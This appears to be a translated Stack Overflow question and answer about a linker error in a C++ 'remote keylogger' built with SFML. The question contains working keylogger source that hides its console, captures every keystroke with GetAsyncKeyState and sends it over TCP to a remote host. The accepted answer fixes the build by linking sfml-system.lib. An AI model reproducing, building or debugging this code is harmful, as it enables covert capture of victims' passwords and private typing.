因此,我正在为教育性目的开发远程键盘记录程序。由于某些原因,当我尝试编译客户端时,出现此错误(我正在使用SFML):
Error LNK2001 unresolved external symbol "__declspec(dllimport) public:
static class sf::Time const sf::Time::Zero" (__imp_?Zero@Time@sf@@2V12@B)
奇怪的是服务器可以正常编译并且使用相同的库。我已经无数次地检查了我的链接器设置,甚至尝试创建一个新项目,但是都没有成功。
这是代码:
#include <fstream>
#include <Windows.h>
#include <SFML\Network.hpp>
#include <iostream>
void ConnectToHost(sf::TcpSocket* socket)
{
sf::Socket::Status status = socket->connect("*****", ***);
if (status != sf::Socket::Done)
std::cout << "Error connecting to socket." << std::endl;
return;
}
int main()
{
FreeConsole();
sf::TcpSocket socket;
ConnectToHost(&socket);
while (1)
{
for (char key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == -32767)
{
char key_sent[50] = { key };
socket.send(key_sent, sizeof(key_sent));
}
}
}
return 0;
}
我目前正在链接sfml-network-d.lib进行调试,并链接sfml-network.lib进行发布,但是我还尝试了链接所有sfml动态链接库,因此与该链接没有任何关系。它。无论如何,我认为这只是一个我已经忽略或忽略的粗心大意的错误,但是由于我已经研究了几天,所以以为我会将其发布为问题。
最佳答案
您的错误表明您的代码没有错,这是链接的问题。您正在链接到sfml-network.lib,但是需要链接到sfml-system.lib才能获取sf::Time。
sfml-network.lib仅为您提供:Ftp,Http,IpAddress,Packet,Socket,SocketSelector,TcpListener,TcpSocket,UdpSocket。
SFML网络依赖于here描述的SFML系统。每当使用SFML网络时,您都需要显式链接到SFML系统。
另一个简短的说明是您提到了链接到动态链接库。您不应链接到任何DLL,实际上,链接的.lib可让您导入这些DLL。如果要执行相反的操作(静态链接),则需要链接到* -s.lib变体。
关于c++ - SFML无法解析的外部符号sf::Time,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/44271402/